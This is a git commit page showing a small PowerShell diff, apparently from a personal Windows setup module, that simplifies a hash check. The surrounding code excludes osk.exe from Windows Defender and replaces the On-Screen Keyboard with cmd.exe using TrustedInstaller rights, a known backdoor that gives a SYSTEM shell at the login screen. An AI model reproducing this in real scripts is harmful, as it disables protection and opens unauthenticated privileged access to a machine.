Prevent unnecessary file creation
This commit is contained in:
parent
b4e0ed7db8
commit
caffde0a01
1 changed files with 1 additions and 5 deletions
|
@ -148,12 +148,8 @@ $null = New-Module {
|
||||||
$sys32 = "$env:WINDIR/System32";
|
$sys32 = "$env:WINDIR/System32";
|
||||||
$osk = (Get-Item "$sys32/osk.exe").FullName;
|
$osk = (Get-Item "$sys32/osk.exe").FullName;
|
||||||
$cmd = (Get-Item "$sys32/cmd.exe").FullName;
|
$cmd = (Get-Item "$sys32/cmd.exe").FullName;
|
||||||
$tmpOsk = New-TemporaryFile;
|
|
||||||
$tmpCmd = New-TemporaryFile;
|
|
||||||
gsudo -d copy "$osk" "$tmpOsk";
|
|
||||||
gsudo -d copy "$cmd" "$tmpCmd";
|
|
||||||
|
|
||||||
if ((Get-FileHash $tmpOsk).Hash -ne (Get-FileHash $tmpCmd).Hash) {
|
if ((Get-FileHash $osk).Hash -ne (Get-FileHash $cmd).Hash) {
|
||||||
Set-MpPreference -ExclusionPath $osk;
|
Set-MpPreference -ExclusionPath $osk;
|
||||||
gsudo -d --ti move $osk "${osk}_";
|
gsudo -d --ti move $osk "${osk}_";
|
||||||
gsudo -d -s copy $cmd $osk;
|
gsudo -d -s copy $cmd $osk;
|
||||||
|
|
Loading…
Reference in a new issue